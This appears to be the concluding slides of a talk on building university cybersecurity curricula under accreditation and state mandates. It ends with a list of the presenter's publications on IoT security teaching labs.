- Influence of accrediting agencies, e.g. ABET
 - Pressure to meet accrediting requirements
 - Why change a course if it was producing good outcomes?
- NSA Center for Academic Excellence (CAE) Designation
 - Courses need to be mapped to knowledge-units specified by CAE
 - A solution should jointly satisfy multiple accrediting requirements
- Government and university mandates
 - State of NJ wants students to graduate with 120 credits
 - Reduces opportunity for courses with professional appeal
 - General Education policy may require 30 credits in humanities/liberal arts courses
- Appeal of the new curricula/courses
 - Are we chasing a fad, or are these technologies here to stay?
 - What skills are employers looking for?
 - Are students really interested in these course?

https://www.abet.org/the-value-of-an-accredited-cybersecurity-program/

ABET has just started an accreditation for cybersecurity programs. Another recent program is for software engineering.

Univ of Western Florida is the first univ in the state of Florida to get the ABET cybersecurity accreditation.

Conclusion

- Addressing specific workplace skill shortages is challenging
 - Requires collaboration between government/universities/industry
 - Needs sophisticated understanding of both global and local labor markets
- One approach that appears to be working is
 - Government provides substantial funding to universities (e.g. NSA CAE program)
 - Generous scholarships
 - Faculty development/training grants
- Are other approaches possible?
 - Remains an open question
 - In process: exploration of 2-year degrees, direct training by industry, bootcamps, credentialing services

Related publications

- 1. A. R. Rao, "Interventions for promoting student engagement and predicting performance in an introductory engineering class," (peer reviewed) published in the journal "Advances in Engineering Education," Sept. 2020. (published by the American Society for Engineering Education, Available at https://advances.asee.org/interventions-for-promoting-student-engagement-and-predicting-performance-in-an-introductory-engineering-class/).
- 2. A. R. Rao, "A survey of student motivations for enrolling in engineering and technology undergraduate programs," presented (remotely), IEEE STEM Education Conference, ISEC-2022, Princeton University, March 2022 (peer reviewed International conference).
- **3.** A. R. Rao, <u>B. Gebusion</u>, <u>J. Porpora</u>, "Developing surveillance applications with Raspberry Pi, Django, and cloud services," presented (remotely), IEEE STEM Education Conference, ISEC-2022, Princeton University, March 2022 (peer reviewed International conference).
- 4. A.R. Rao, <u>K. Mishra</u>, and <u>N. Recharla</u>, "Designing an internet-of-things laboratory to improve student understanding of secure embedded systems," National Cybersummit, Research Track, pp. 238-239, published by Springer-Nature, June 2020 (Peer Reviewed National Conference).
- 5. A.R. Rao, "A three-year retrospective on offering an embedded systems course with a focus on cybersecurity," accepted for publication in IEEE STEM Education Conference, ISEC-2020, Princeton University, August 2020 (Peer Reviewed International Conference). This paper won the Best Paper Honorable Mention Award at the conference and included a cash award.
- 6. A.R. Rao, <u>D. Clarke</u>, "Capacity building for a cybersecurity workforce through hands-on labs for internet-of-things security," in Advances in Intelligent Systems and Computing, Vol. 1055, National Cybersummit Research Track, pp. 14-29, published by Springer-Nature, 2019 (Peer reviewed, National Conference).

Underlined co-authors are FDU students

- 7. A.R. Rao, <u>R. Dave</u>, "Developing hands-on laboratory exercises for teaching STEM students the internet-of-things, cloud computing and blockchain applications," published and presented at IEEE STEM Education Conference, ISEC-2019, Princeton University, NJ, March 2019. (Peer reviewed, International Conference).
- 8. A.R. Rao, <u>D. Clarke, D. Yeskepalli, M. Mallu</u>, "Teaching cybersecurity concepts through Internet-of-things applications based on the Raspberry Pi," Colloquium for Information Systems Security Education (CISSE), June 2018, New Orleans, USA. (Peer reviewed, International Conference).
- **9.** A.R. Rao, <u>D. Clarke, N. Mohammed</u>, "Creating an anchor hands-on cybersecurity course using the Raspberry Pi," Colloquium for Information Systems Security Education (CISSE), June 2018, New Orleans. (Peer reviewed, International Conference).
- 10. A.R. Rao, D. Clarke, M. Bhadiyadra, S. Phadke, "Development of an Embedded System Course to Teach the Internet-ofthings," published and presented at IEEE STEM Education Conference, ISEC-2018, Princeton University, Princeton, USA March 2018, pp. 154-160. (Peer reviewed, International Conference).
- **11. A.R. Rao**, "A Novel STEAM Approach: Using Cinematic Meditation Exercises To Motivate Students And Predict Performance In An Engineering Class", presented and published in IEEE Integrating STEM Education Conference, IEEE ISEC, March 2017, Princeton University, Princeton, NJ, USA, pp. 64-70. (Peer reviewed, International Conference).
- 12. A. R. Rao, <u>B. Gebusion, J. Porpora</u>, "Developing surveillance applications with Raspberry Pi, Django, and cloud services," presented (remotely), IEEE STEM Education Conference, ISEC-2022, Princeton University, March 2022 (peer reviewed International conference, published in the IEEE Xplor digital library). This won the Best Paper Award, 2nd place, at the conference.
- **13. A.R. Rao**, <u>A. Elias-Medina</u>, "Designing an internet-of-things laboratory to improve student understanding of secure IoT systems", Journal of Internet of Things and Cyber-physical Systems, Elsevier Publishers, to appear in November 2023.